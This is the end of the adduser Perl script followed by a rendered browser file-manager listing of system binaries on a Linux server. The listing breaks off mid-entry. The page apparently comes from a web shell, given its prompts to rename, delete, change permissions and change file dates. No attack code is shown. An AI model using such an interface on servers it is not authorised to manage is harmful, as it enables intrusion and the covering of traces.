<tedhajek\@boombox.micro.umn.edu> \n"); print gtx( "This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License, /usr/share/common-licenses/GPL, for more details. "); } sub usage { printf gtx( "adduser [--home DIR] [--shell SHELL] [--no-create-home] [--uid ID] [--firstuid ID] [--lastuid ID] [--gecos GECOS] [--ingroup GROUP | --gid ID] [--disabled-password] [--disabled-login] [--add_extra_groups] [--encrypt-home] USER Add a normal user adduser --system [--home DIR] [--shell SHELL] [--no-create-home] [--uid ID] [--gecos GECOS] [--group | --ingroup GROUP | --gid ID] [--disabled-password] [--disabled-login] [--add_extra_groups] USER Add a system user adduser --group [--gid ID] GROUP addgroup [--gid ID] GROUP Add a user group addgroup --system [--gid ID] GROUP Add a system group adduser USER GROUP Add an existing user to an existing group general options: --quiet | -q don't give process information to stdout --force-badname allow usernames which do not match the NAME_REGEX[_SYSTEM] configuration variable --extrausers uses extra users as the database --help | -h usage message --version | -v version number and copyright --conf | -c FILE use FILE as configuration file\n\n"); } sub get_dir_mode { my $setgid = shift; # no longer make home directories setgid per default (closes: #64806) $setgid = 0 unless $config{"setgid_home"} =~ /yes/i; my $dir_mode = $config{"dir_mode"}; if(!defined($dir_mode) || ! ($dir_mode =~ /[0-7]{3}/ || $dir_mode =~ /[0-7]{4}/)) { $dir_mode = $setgid ? 2755 : 0755; } else { $dir_mode = $config{"dir_mode"}; if($setgid && (length($dir_mode) == 3 || $dir_mode =~ /^[0-1|4-5][0-7]{3}$/)) { $dir_mode += 2000; } } return oct($dir_mode); } # Local Variables: # mode:cperl # cperl-indent-level:4 # End: # vim:set ai et sts=4 sw=4 tw=0:
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2026-07-30 06:58:04
..
DIR
-
drwxr-xr-x
2024-02-16 06:37:05
ModemManager
application/x-pie-executable
2.09 MB
-rwxr-xr-x
2024-07-18 02:24:32
a2disconf
text/x-perl
15.89 KB
-rwxr-xr-x
2024-03-18 01:41:27
a2dismod
text/x-perl
15.89 KB
-rwxr-xr-x
2024-03-18 01:41:27
a2dissite
text/x-perl
15.89 KB
-rwxr-xr-x
2024-03-18 01:41:27
a2enconf
text/x-perl
15.89 KB
-rwxr-xr-x
2024-03-18 01:41:27
a2enmod
text/x-perl
15.89 KB
-rwxr-xr-x
2024-03-18 01:41:27
a2ensite
text/x-perl
15.89 KB
-rwxr-xr-x
2024-03-18 01:41:27
a2query
text/x-perl
9.64 KB
-rwxr-xr-x
2026-07-06 04:41:46
aa-remove-unknown
text/x-shellscript
3 KB
-rwxr-xr-x
2025-08-15 12:17:13
aa-status
application/x-pie-executable
62.62 KB
-rwxr-xr-x
2025-08-15 12:17:13
aa-teardown
text/x-shellscript
137 B
-rwxr-xr-x
2022-02-10 12:45:25
accessdb
application/x-pie-executable
14.55 KB
-rwxr-xr-x
2022-03-17 07:03:00
add-shell
text/x-shellscript
1.03 KB
-rwxr-xr-x
2022-03-23 01:49:54
addgnupghome
text/x-shellscript
3 KB
-rwxr-xr-x
2026-01-05 10:14:39
addgroup
text/x-perl
37.35 KB
-rwxr-xr-x
2021-01-06 06:16:50
adduser
text/x-perl
37.35 KB
-rwxr-xr-x
2021-01-06 06:16:50
agetty
application/x-pie-executable
55.56 KB
-rwxr-xr-x
2026-03-06 04:10:04
apache2
application/x-pie-executable
740.95 KB
-rwxr-xr-x
2026-07-06 04:41:46
apache2ctl
text/x-shellscript
7.06 KB
-rwxr-xr-x
2024-03-18 01:41:27
apachectl
text/x-shellscript
7.06 KB
-rwxr-xr-x
2024-03-18 01:41:27
apparmor_parser
application/x-pie-executable
1.48 MB
-rwxr-xr-x
2025-08-15 12:17:13
apparmor_status
application/x-pie-executable
62.62 KB
-rwxr-xr-x
2025-08-15 12:17:13
applygnupgdefaults
text/x-shellscript
2.17 KB
-rwxr-xr-x
2026-01-05 10:14:39
arpd
application/x-pie-executable
26.33 KB
-rwxr-xr-x
2026-04-15 07:15:26
arptables
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
arptables-nft
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
arptables-nft-restore
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
arptables-nft-save
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
arptables-restore
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
arptables-save
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
auth-otp
application/x-pie-executable
18.54 KB
-rwxr-xr-x
2025-02-05 01:53:13
badblocks
application/x-pie-executable
34.32 KB
-rwxr-xr-x
2023-10-09 01:50:10
bcache-super-show
application/x-pie-executable
14.3 KB
-rwxr-xr-x
2022-03-23 09:42:55
biosdecode
application/x-pie-executable
23.2 KB
-rwxr-xr-x
2024-10-14 08:28:46
blkdeactivate
text/x-shellscript
15.97 KB
-rwxr-xr-x
2024-11-27 07:04:29
blkdiscard
application/x-pie-executable
22.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
blkid
application/x-pie-executable
50.41 KB
-rwxr-xr-x
2026-03-06 04:10:04
blkzone
application/x-pie-executable
34.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
blockdev
application/x-pie-executable
30.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
bridge
application/x-pie-executable
92.49 KB
-rwxr-xr-x
2026-04-15 07:15:26
cache_check
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
cache_dump
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
cache_metadata_size
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
cache_repair
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
cache_restore
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
cache_writeback
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
capsh
application/x-pie-executable
30.3 KB
-rwxr-xr-x
2026-04-09 03:04:48
cfdisk
application/x-pie-executable
94.73 KB
-rwxr-xr-x
2026-03-06 04:10:04
cgdisk
application/x-pie-executable
150.48 KB
-rwxr-xr-x
2022-03-23 01:53:46
chcpu
application/x-pie-executable
30.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
check_forensic
text/x-shellscript
952 B
-rwxr-xr-x
2011-04-26 03:10:00
chgpasswd
application/x-pie-executable
58.13 KB
-rwxr-xr-x
2024-02-06 12:54:23
chmem
application/x-pie-executable
34.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
chpasswd
application/x-pie-executable
54.16 KB
-rwxr-xr-x
2024-02-06 12:54:23
chroot
application/x-pie-executable
38.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
cpgr
application/x-pie-executable
48.29 KB
-rwxr-xr-x
2024-02-06 12:54:23
cppw
application/x-pie-executable
48.29 KB
-rwxr-xr-x
2024-02-06 12:54:23
cron
application/x-pie-executable
50.58 KB
-rwxr-xr-x
2022-03-23 01:49:13
cryptdisks_start
text/x-shellscript
1.51 KB
-rwxr-xr-x
2022-01-13 09:44:36
cryptdisks_stop
text/x-shellscript
844 B
-rwxr-xr-x
2022-01-13 09:44:36
cryptsetup
application/x-pie-executable
169.55 KB
-rwxr-xr-x
2024-11-14 03:21:19
cryptsetup-reencrypt
application/x-pie-executable
90.38 KB
-rwxr-xr-x
2024-11-14 03:21:19
cryptsetup-ssh
application/x-pie-executable
23.53 KB
-rwxr-xr-x
2024-11-14 03:21:19
ctrlaltdel
application/x-pie-executable
14.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
dbconfig-generate-include
text/x-shellscript
12.36 KB
-rwxr-xr-x
2021-12-17 08:18:02
dbconfig-load-include
text/x-shellscript
5.57 KB
-rwxr-xr-x
2021-12-17 08:18:02
dcb
application/x-pie-executable
80.52 KB
-rwxr-xr-x
2026-04-15 07:15:26
debugfs
application/x-pie-executable
229.8 KB
-rwxr-xr-x
2023-10-09 01:50:10
delgroup
text/x-perl
16.11 KB
-rwxr-xr-x
2021-01-06 06:16:50
deluser
text/x-perl
16.11 KB
-rwxr-xr-x
2021-01-06 06:16:50
depmod
application/x-pie-executable
166.36 KB
-rwxr-xr-x
2026-04-30 12:32:42
devlink
application/x-pie-executable
142.86 KB
-rwxr-xr-x
2026-04-15 07:15:26
dhclient
application/x-pie-executable
442.66 KB
-rwxr-xr-x
2023-01-31 09:54:40
dhclient-script
text/x-shellscript
15.92 KB
-rwxr-xr-x
2023-01-31 09:54:40
dmeventd
application/x-pie-executable
50.38 KB
-rwxr-xr-x
2024-11-27 07:04:29
dmidecode
application/x-pie-executable
122.98 KB
-rwxr-xr-x
2024-10-14 08:28:46
dmsetup
application/x-pie-executable
171.02 KB
-rwxr-xr-x
2024-11-27 07:04:29
dmstats
application/x-pie-executable
171.02 KB
-rwxr-xr-x
2024-11-27 07:04:29
dosfsck
application/x-pie-executable
82.38 KB
-rwxr-xr-x
2022-03-23 01:51:01
dosfslabel
application/x-pie-executable
38.38 KB
-rwxr-xr-x
2022-03-23 01:51:01
dpkg-preconfigure
text/x-perl
3.58 KB
-rwxr-xr-x
2022-02-20 02:42:49
dpkg-reconfigure
text/x-perl
4.38 KB
-rwxr-xr-x
2022-02-20 02:42:49
dumpe2fs
application/x-pie-executable
30.31 KB
-rwxr-xr-x
2023-10-09 01:50:10
e2freefrag
application/x-pie-executable
14.3 KB
-rwxr-xr-x
2023-10-09 01:50:10
e2fsck
application/x-pie-executable
351.84 KB
-rwxr-xr-x
2023-10-09 01:50:10
e2image
application/x-pie-executable
42.31 KB
-rwxr-xr-x
2023-10-09 01:50:10
e2label
application/x-pie-executable
102.55 KB
-rwxr-xr-x
2023-10-09 01:50:10
e2mmpstatus
application/x-pie-executable
30.31 KB
-rwxr-xr-x
2023-10-09 01:50:10
e2scrub
text/x-shellscript
7.13 KB
-rwxr-xr-x
2023-10-09 01:50:10
e2scrub_all
text/x-shellscript
5.27 KB
-rwxr-xr-x
2023-10-09 01:50:10
e2undo
application/x-pie-executable
22.3 KB
-rwxr-xr-x
2023-10-09 01:50:10
e4crypt
application/x-pie-executable
30.38 KB
-rwxr-xr-x
2023-10-09 01:50:10
e4defrag
application/x-pie-executable
30.3 KB
-rwxr-xr-x
2023-10-09 01:50:10
ebtables
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
ebtables-nft
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
ebtables-nft-restore
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
ebtables-nft-save
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
ebtables-restore
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
ebtables-save
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
era_check
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
era_dump
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
era_invalidate
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
era_restore
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
ethtool
application/x-pie-executable
551.48 KB
-rwxr-xr-x
2025-03-07 02:22:37
faillock
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2026-07-16 02:06:00
fatlabel
application/x-pie-executable
38.38 KB
-rwxr-xr-x
2022-03-23 01:51:01
fdisk
application/x-pie-executable
110.42 KB
-rwxr-xr-x
2026-03-06 04:10:04
filefrag
application/x-pie-executable
18.32 KB
-rwxr-xr-x
2023-10-09 01:50:10
findfs
application/x-pie-executable
14.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
fixparts
application/x-pie-executable
58.48 KB
-rwxr-xr-x
2022-03-23 01:53:46
fsadm
text/x-shellscript
23.94 KB
-rwxr-xr-x
2024-11-27 07:04:29
fsck
application/x-pie-executable
42.42 KB
-rwxr-xr-x
2026-03-06 04:10:04
fsck.btrfs
text/x-shellscript
1.16 KB
-rwxr-xr-x
2022-02-24 05:39:55
fsck.cramfs
application/x-pie-executable
30.44 KB
-rwxr-xr-x
2026-03-06 04:10:04
fsck.ext2
application/x-pie-executable
351.84 KB
-rwxr-xr-x
2023-10-09 01:50:10
fsck.ext3
application/x-pie-executable
351.84 KB
-rwxr-xr-x
2023-10-09 01:50:10
fsck.ext4
application/x-pie-executable
351.84 KB
-rwxr-xr-x
2023-10-09 01:50:10
fsck.fat
application/x-pie-executable
82.38 KB
-rwxr-xr-x
2022-03-23 01:51:01
fsck.minix
application/x-pie-executable
54.41 KB
-rwxr-xr-x
2026-03-06 04:10:04
fsck.msdos
application/x-pie-executable
82.38 KB
-rwxr-xr-x
2022-03-23 01:51:01
fsck.vfat
application/x-pie-executable
82.38 KB
-rwxr-xr-x
2022-03-23 01:51:01
fsck.xfs
text/x-shellscript
1.89 KB
-rwxr-xr-x
2024-10-17 06:49:09
fsfreeze
application/x-pie-executable
14.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
fstab-decode
application/x-pie-executable
18.3 KB
-rwxr-xr-x
2021-12-14 09:17:22
fstrim
application/x-pie-executable
42.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
ftpasswd
text/x-perl
37.11 KB
-rwxr-xr-x
2025-02-05 01:53:13
ftpmail
text/x-perl
13.63 KB
-rwxr-xr-x
2025-02-05 01:53:13
ftpquota
text/x-perl
32.2 KB
-rwxr-xr-x
2025-02-05 01:53:13
ftpscrub
application/x-pie-executable
23.66 KB
-rwxr-xr-x
2025-02-05 01:53:13
ftpshut
application/x-pie-executable
14.3 KB
-rwxr-xr-x
2025-02-05 01:53:13
ftpstats
text/x-perl
12.16 KB
-rwxr-xr-x
2025-02-05 01:53:13
gdisk
application/x-pie-executable
174.48 KB
-rwxr-xr-x
2022-03-23 01:53:46
genl
application/x-pie-executable
90.44 KB
-rwxr-xr-x
2026-04-15 07:15:26
getcap
application/x-pie-executable
14.3 KB
-rwxr-xr-x
2026-04-09 03:04:48
getpcaps
application/x-pie-executable
14.3 KB
-rwxr-xr-x
2026-04-09 03:04:48
getty
application/x-pie-executable
55.56 KB
-rwxr-xr-x
2026-03-06 04:10:04
groupadd
application/x-pie-executable
66.91 KB
-rwxr-xr-x
2024-02-06 12:54:23
groupdel
application/x-pie-executable
62.73 KB
-rwxr-xr-x
2024-02-06 12:54:23
groupmems
application/x-pie-executable
54.19 KB
-rwxr-xr-x
2024-02-06 12:54:23
groupmod
application/x-pie-executable
66.82 KB
-rwxr-xr-x
2024-02-06 12:54:23
grpck
application/x-pie-executable
58.13 KB
-rwxr-xr-x
2024-02-06 12:54:23
grpconv
application/x-pie-executable
50.01 KB
-rwxr-xr-x
2024-02-06 12:54:23
grpunconv
application/x-pie-executable
50.01 KB
-rwxr-xr-x
2024-02-06 12:54:23
grub-bios-setup
application/x-pie-executable
941.42 KB
-rwxr-xr-x
2022-12-18 09:21:26
grub-install
application/x-pie-executable
1.15 MB
-rwxr-xr-x
2022-12-18 09:21:26
grub-macbless
application/x-pie-executable
929.11 KB
-rwxr-xr-x
2022-12-18 09:21:26
grub-mkconfig
text/x-shellscript
8.6 KB
-rwxr-xr-x
2022-12-18 09:21:26
grub-mkdevicemap
application/x-pie-executable
215.7 KB
-rwxr-xr-x
2022-12-18 09:21:26
grub-probe
application/x-pie-executable
941.36 KB
-rwxr-xr-x
2022-12-18 09:21:26
grub-reboot
text/x-shellscript
4.73 KB
-rwxr-xr-x
2022-12-18 09:21:26
grub-set-default
text/x-shellscript
3.47 KB
-rwxr-xr-x
2022-12-18 09:21:26
halt
application/x-pie-executable
1.06 MB
-rwxr-xr-x
2026-06-05 03:40:28
hdparm
application/x-pie-executable
139.43 KB
-rwxr-xr-x
2022-03-23 01:57:38
httxt2dbm
application/x-pie-executable
14.3 KB
-rwxr-xr-x
2026-07-06 04:41:46
hwclock
application/x-pie-executable
50.5 KB
-rwxr-xr-x
2026-03-06 04:10:04
iconvconfig
application/x-pie-executable
30.4 KB
-rwxr-xr-x
2026-07-24 12:11:17
in.proftpd
application/x-pie-executable
1.17 MB
-rwxr-xr-x
2025-02-05 01:53:13
init
application/x-pie-executable
1.76 MB
-rwxr-xr-x
2026-06-05 03:40:28
insmod
application/x-pie-executable
166.36 KB
-rwxr-xr-x
2026-04-30 12:32:42
installkernel
text/x-shellscript
2.6 KB
-rwxr-xr-x
2022-03-23 01:49:54
integritysetup
application/x-pie-executable
54.07 KB
-rwxr-xr-x
2024-11-14 03:21:19
invoke-rc.d
text/x-shellscript
16.12 KB
-rwxr-xr-x
2021-12-07 09:55:54
ip
application/x-pie-executable
702.05 KB
-rwxr-xr-x
2026-04-15 07:15:26
ip6tables
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
ip6tables-apply
text/x-shellscript
6.89 KB
-rwxr-xr-x
2021-01-15 10:03:39
ip6tables-legacy
application/x-pie-executable
96.95 KB
-rwxr-xr-x
2024-01-16 09:14:30
ip6tables-legacy-restore
application/x-pie-executable
96.95 KB
-rwxr-xr-x
2024-01-16 09:14:30
ip6tables-legacy-save
application/x-pie-executable
96.95 KB
-rwxr-xr-x
2024-01-16 09:14:30
ip6tables-nft
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
ip6tables-nft-restore
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
ip6tables-nft-save
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
ip6tables-restore
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
ip6tables-restore-translate
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
ip6tables-save
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
ip6tables-translate
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
iptables
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
iptables-apply
text/x-shellscript
6.89 KB
-rwxr-xr-x
2021-01-15 10:03:39
iptables-legacy
application/x-pie-executable
96.95 KB
-rwxr-xr-x
2024-01-16 09:14:30
iptables-legacy-restore
application/x-pie-executable
96.95 KB
-rwxr-xr-x
2024-01-16 09:14:30
iptables-legacy-save
application/x-pie-executable
96.95 KB
-rwxr-xr-x
2024-01-16 09:14:30
iptables-nft
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
iptables-nft-restore
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
iptables-nft-save
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
iptables-restore
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
iptables-restore-translate
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
iptables-save
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
iptables-translate
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
irqbalance
application/x-pie-executable
66.86 KB
-rwxr-xr-x
2023-10-16 09:22:18
irqbalance-ui
application/x-pie-executable
34.38 KB
-rwxr-xr-x
2023-10-16 09:22:18
iscsi-iname
application/x-pie-executable
14.3 KB
-rwxr-xr-x
2025-02-11 03:06:32
iscsi_discovery
text/x-shellscript
5.17 KB
-rwxr-xr-x
2021-09-05 11:32:54
iscsiadm
application/x-pie-executable
398.46 KB
-rwxr-xr-x
2025-02-11 03:06:32
iscsid
application/x-pie-executable
298.55 KB
-rwxr-xr-x
2025-02-11 03:06:32
iscsistart
application/x-pie-executable
278.56 KB
-rwxr-xr-x
2025-02-11 03:06:32
isosize
application/x-pie-executable
14.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
iucode-tool
application/x-pie-executable
58.34 KB
-rwxr-xr-x
2021-10-07 10:13:17
iucode_tool
application/x-pie-executable
58.34 KB
-rwxr-xr-x
2021-10-07 10:13:17
kbdrate
application/x-pie-executable
18.16 KB
-rwxr-xr-x
2022-12-16 02:14:33
killall5
application/x-pie-executable
30.38 KB
-rwxr-xr-x
2021-12-14 09:17:22
kpartx
application/x-pie-executable
46.16 KB
-rwxr-xr-x
2023-10-31 10:21:59
ldattach
application/x-pie-executable
26.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
ldconfig
text/x-shellscript
387 B
-rwxr-xr-x
2026-07-24 12:11:17
ldconfig.real
application/x-pie-executable
1.16 MB
-rwxr-xr-x
2026-07-24 12:11:17
locale-gen
text/x-shellscript
4.29 KB
-rwxr-xr-x
2025-07-15 09:40:00
logrotate
application/x-pie-executable
102.24 KB
-rwxr-xr-x
2022-05-25 02:10:26
logsave
application/x-pie-executable
14.16 KB
-rwxr-xr-x
2023-10-09 01:50:10
losetup
application/x-pie-executable
70.52 KB
-rwxr-xr-x
2026-03-06 04:10:04
lsmod
application/x-pie-executable
166.36 KB
-rwxr-xr-x
2026-04-30 12:32:42
luksformat
text/x-perl
3.32 KB
-rwxr-xr-x
2022-01-13 09:44:36
lvchange
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
lvconvert
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
lvcreate
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
lvdisplay
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
lvextend
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
lvm
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
lvmconfig
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
lvmdiskscan
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
lvmdump
text/x-shellscript
10.07 KB
-rwxr-xr-x
2024-11-27 07:04:29
lvmpolld
application/x-pie-executable
236.2 KB
-rwxr-xr-x
2024-11-27 07:04:29
lvmsadc
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
lvmsar
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
lvreduce
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
lvremove
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
lvrename
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
lvresize
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
lvs
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
lvscan
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
make-bcache
application/x-pie-executable
22.38 KB
-rwxr-xr-x
2022-03-23 09:42:55
make-ssl-cert
text/x-shellscript
6.65 KB
-rwxr-xr-x
2021-12-30 04:52:53
mdadm
application/x-pie-executable
601.31 KB
-rwxr-xr-x
2023-04-11 03:22:59
mdmon
application/x-pie-executable
258.44 KB
-rwxr-xr-x
2023-04-11 03:22:59
mkdosfs
application/x-pie-executable
50.83 KB
-rwxr-xr-x
2022-03-23 01:51:01
mke2fs
application/x-pie-executable
130.62 KB
-rwxr-xr-x
2023-10-09 01:50:10
mkfs
application/x-pie-executable
14.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
mkfs.bfs
application/x-pie-executable
22.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
mkfs.btrfs
application/x-pie-executable
471.25 KB
-rwxr-xr-x
2022-02-24 05:39:55
mkfs.cramfs
application/x-pie-executable
34.32 KB
-rwxr-xr-x
2026-03-06 04:10:04
mkfs.ext2
application/x-pie-executable
130.62 KB
-rwxr-xr-x
2023-10-09 01:50:10
mkfs.ext3
application/x-pie-executable
130.62 KB
-rwxr-xr-x
2023-10-09 01:50:10
mkfs.ext4
application/x-pie-executable
130.62 KB
-rwxr-xr-x
2023-10-09 01:50:10
mkfs.fat
application/x-pie-executable
50.83 KB
-rwxr-xr-x
2022-03-23 01:51:01
mkfs.minix
application/x-pie-executable
42.39 KB
-rwxr-xr-x
2026-03-06 04:10:04
mkfs.msdos
application/x-pie-executable
50.83 KB
-rwxr-xr-x
2022-03-23 01:51:01
mkfs.ntfs
application/x-pie-executable
70.38 KB
-rwxr-xr-x
2026-07-11 03:55:48
mkfs.vfat
application/x-pie-executable
50.83 KB
-rwxr-xr-x
2022-03-23 01:51:01
mkfs.xfs
application/x-pie-executable
382.77 KB
-rwxr-xr-x
2024-10-17 06:49:09
mkhomedir_helper
application/x-pie-executable
22.17 KB
-rwxr-xr-x
2026-07-16 02:06:00
mkinitramfs
text/x-shellscript
12.16 KB
-rwxr-xr-x
2024-03-19 12:06:27
mklost+found
application/x-pie-executable
14.3 KB
-rwxr-xr-x
2023-10-09 01:50:10
mkntfs
application/x-pie-executable
70.38 KB
-rwxr-xr-x
2026-07-11 03:55:48
mkswap
application/x-pie-executable
46.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
modinfo
application/x-pie-executable
166.36 KB
-rwxr-xr-x
2026-04-30 12:32:42
modprobe
application/x-pie-executable
166.36 KB
-rwxr-xr-x
2026-04-30 12:32:42
mount.fuse
application/x-pie-executable
18.3 KB
-rwxr-xr-x
2022-03-23 01:53:14
mount.fuse3
application/x-pie-executable
18.3 KB
-rwxr-xr-x
2022-03-23 01:53:14
mount.lowntfs-3g
application/x-pie-executable
114.98 KB
-rwxr-xr-x
2026-07-11 03:55:48
mount.ntfs
application/x-pie-executable
159.01 KB
-rwxr-xr-x
2026-07-11 03:55:48
mount.ntfs-3g
application/x-pie-executable
159.01 KB
-rwxr-xr-x
2026-07-11 03:55:48
mpathpersist
application/x-pie-executable
31.05 KB
-rwxr-xr-x
2023-10-31 10:21:59
multipath
application/x-pie-executable
34.15 KB
-rwxr-xr-x
2023-10-31 10:21:59
multipathd
application/x-pie-executable
134.26 KB
-rwxr-xr-x
2023-10-31 10:21:59
mysqld
application/x-pie-executable
53.01 MB
-rwxr-xr-x
2026-06-20 11:54:34
needrestart
text/x-perl
38.73 KB
-rwxr-xr-x
2025-09-10 07:15:59
netplan
text/x-script.python
802 B
-rwxr-xr-x
2023-12-12 04:56:47
newusers
application/x-pie-executable
74.73 KB
-rwxr-xr-x
2024-02-06 12:54:23
nfnl_osf
application/x-pie-executable
18.3 KB
-rwxr-xr-x
2024-01-16 09:14:30
nft
application/x-pie-executable
26.23 KB
-rwxr-xr-x
2026-02-24 08:38:43
nologin
application/x-pie-executable
14.3 KB
-rwxr-xr-x
2024-02-06 12:54:23
ntfsclone
application/x-pie-executable
50.38 KB
-rwxr-xr-x
2026-07-11 03:55:48
ntfscp
application/x-pie-executable
34.38 KB
-rwxr-xr-x
2026-07-11 03:55:48
ntfslabel
application/x-pie-executable
22.38 KB
-rwxr-xr-x
2026-07-11 03:55:48
ntfsresize
application/x-pie-executable
62.39 KB
-rwxr-xr-x
2026-07-11 03:55:48
ntfsundelete
application/x-pie-executable
50.38 KB
-rwxr-xr-x
2026-07-11 03:55:48
on_ac_power
text/x-shellscript
3.7 KB
-rwxr-xr-x
2025-06-04 02:47:30
overlayroot-chroot
text/x-shellscript
2.45 KB
-rwxr-xr-x
2020-08-17 04:00:58
ownership
application/x-pie-executable
14.45 KB
-rwxr-xr-x
2024-10-14 08:28:46
pam-auth-update
text/x-perl
20.5 KB
-rwxr-xr-x
2024-11-17 10:17:22
pam_extrausers_chkpwd
application/x-pie-executable
22.15 KB
-rwxr-sr-x
2026-07-16 02:06:00
pam_extrausers_update
application/x-pie-executable
30.15 KB
-rwxr-xr-x
2026-07-16 02:06:00
pam_getenv
text/x-perl
2.82 KB
-rwxr-xr-x
2024-11-17 10:17:22
pam_timestamp_check
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2026-07-16 02:06:00
paperconfig
text/x-shellscript
4.07 KB
-rwxr-xr-x
2022-03-24 12:14:21
parted
application/x-pie-executable
86.4 KB
-rwxr-xr-x
2022-03-24 04:22:22
partprobe
application/x-pie-executable
14.38 KB
-rwxr-xr-x
2022-03-24 04:22:22
pdata_tools
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
phpdismod
text/x-shellscript
7.11 KB
-rwxr-xr-x
2024-12-04 03:44:19
phpenmod
text/x-shellscript
7.11 KB
-rwxr-xr-x
2024-12-04 03:44:19
phpquery
text/x-shellscript
6.24 KB
-rwxr-xr-x
2024-12-04 03:44:19
pivot_root
application/x-pie-executable
14.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
plymouthd
application/x-pie-executable
150.55 KB
-rwxr-xr-x
2022-03-18 10:45:18
poweroff
application/x-pie-executable
1.06 MB
-rwxr-xr-x
2026-06-05 03:40:28
proftpd
application/x-pie-executable
1.17 MB
-rwxr-xr-x
2025-02-05 01:53:13
proftpd-gencert
text/x-shellscript
1.64 KB
-rwxr-xr-x
2021-08-30 06:35:11
pvchange
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
pvck
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
pvcreate
application/x-pie-executable
